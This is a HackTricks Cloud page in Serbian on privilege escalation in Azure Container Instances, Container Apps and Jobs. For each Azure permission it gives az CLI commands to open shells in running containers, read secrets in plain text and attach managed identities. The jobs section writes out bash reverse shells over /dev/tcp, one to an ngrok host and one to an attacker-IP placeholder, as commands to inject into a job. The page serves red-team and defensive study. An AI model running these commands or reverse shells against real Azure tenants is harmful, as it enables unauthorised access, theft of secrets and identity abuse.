Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Azure Container Instances, Apps & Jobs
Za više informacija pogledajte:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
Ove dozvole omogućavaju korisniku da izvrši komandu u pokrenutom kontejneru. Ovo se može koristiti za eskalaciju privilegija u kontejneru ako ima neku upravljanu identitet. Naravno, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama pohranjenim unutar kontejnera.
Da biste dobili shell, dovoljno je:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
Takođe je moguće pročitati izlaz kontejnera sa:
az container attach --name <container-name> --resource-group <res-group>
Ili dobijte logove sa:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ove dozvole omogućavaju priključivanje korisnički upravljane identitete na grupu kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.
Da biste priključili korisnički upravljanu identitetu na grupu kontejnera:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ove dozvole omogućavaju kreiranje ili ažuriranje grupe kontejnera sa korisnički upravljanom identitetom prikačenim na nju. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
Moreover, it's also possible to update an existing container group adding for example the --command-line
argument with a reverse shell.
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
Ove dozvole omogućavaju korisniku da dobije shell u pokrenutom aplikacionom kontejneru. Ovo se može koristiti za escalaciju privilegija u kontejneru ako ima neku upravljanu identitet prikačenu. Ofc, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama pohranjenim unutar kontejnera.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
Ova dozvola omogućava dobijanje čistog teksta tajni konfiguranih unutar aplikacije kontejnera. Imajte na umu da se tajne mogu konfigurisati sa čistim tekstom ili sa linkom ka ključnom trezoru (u tom slučaju, aplikaciji će biti dodeljen upravljani identitet sa pristupom nad tajnama).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ove dozvole omogućavaju priključivanje identiteta koji upravlja korisnik na aplikaciju kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru. Izvršavanje ove akcije iz az cli takođe zahteva dozvolu Microsoft.App/containerApps/listSecrets/action
.
Da biste priključili identitet koji upravlja korisnik na grupu kontejnera:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
Ove dozvole omogućavaju kreiranje ili ažuriranje aplikacionog kontejnera sa korisnički upravljanom identitetom prikačenom na njega. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
Imajte na umu da se sa ovim dozvolama mogu modifikovati druge konfiguracije aplikacije što može omogućiti izvođenje drugih privesc i post-exploitation napada u zavisnosti od konfiguracije postojećih aplikacija.
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
Iako poslovi nisu dugotrajni kao aplikacije u kontejnerima, možete iskoristiti mogućnost prepisivanja konfiguracije komande posla prilikom pokretanja izvršenja. Kreiranjem prilagođenog šablona posla (na primer, zamenom podrazumevane komande sa reverznim shell-om), možete dobiti pristup shell-u unutar kontejnera koji pokreće posao.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
Ako imate ove dozvole, možete da navedete sve tajne (prva dozvola) unutar Job kontejnera i zatim pročitate vrednosti konfigurisanih tajni.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
Ako imate dozvolu da modifikujete konfiguraciju posla, možete prikačiti identitet koji je dodeljen korisniku. Ovaj identitet može imati dodatne privilegije (na primer, pristup drugim resursima ili tajnama) koje se mogu zloupotrebiti za eskalaciju privilegija unutar kontejnera.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ako možete da kreirate novi Container Apps Job (ili ažurirate postojeći) i povežete upravljeni identitet, možete dizajnirati posao da izvrši payload koji eskalira privilegije. Na primer, mogli biste da kreirate novi posao koji ne samo da pokreće reverznu ljusku, već takođe koristi kredencijale upravljanog identiteta da zatraži tokene ili pristup drugim resursima.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
Ova komanda će izazvati grešku ako nemate dozvolu Microsoft.App/jobs/read
, iako će posao biti kreiran.
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
Izgleda da bi sa ovim dozvolama trebalo biti moguće pokrenuti posao. Ovo se može koristiti za pokretanje posla sa reverznim shell-om ili bilo kojom drugom zlonamernom komandom bez potrebe za modifikovanjem konfiguracije posla.
Nisam uspeo da to funkcioniše, ali prema dozvoljenim parametrima, to bi trebalo biti moguće.
Microsoft.ContainerInstance/containerGroups/restart/action
Omogućava ponovno pokretanje specifične grupe kontejnera unutar Azure Container Instances.
az container restart --resource-group <resource-group> --name <container-instances>
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.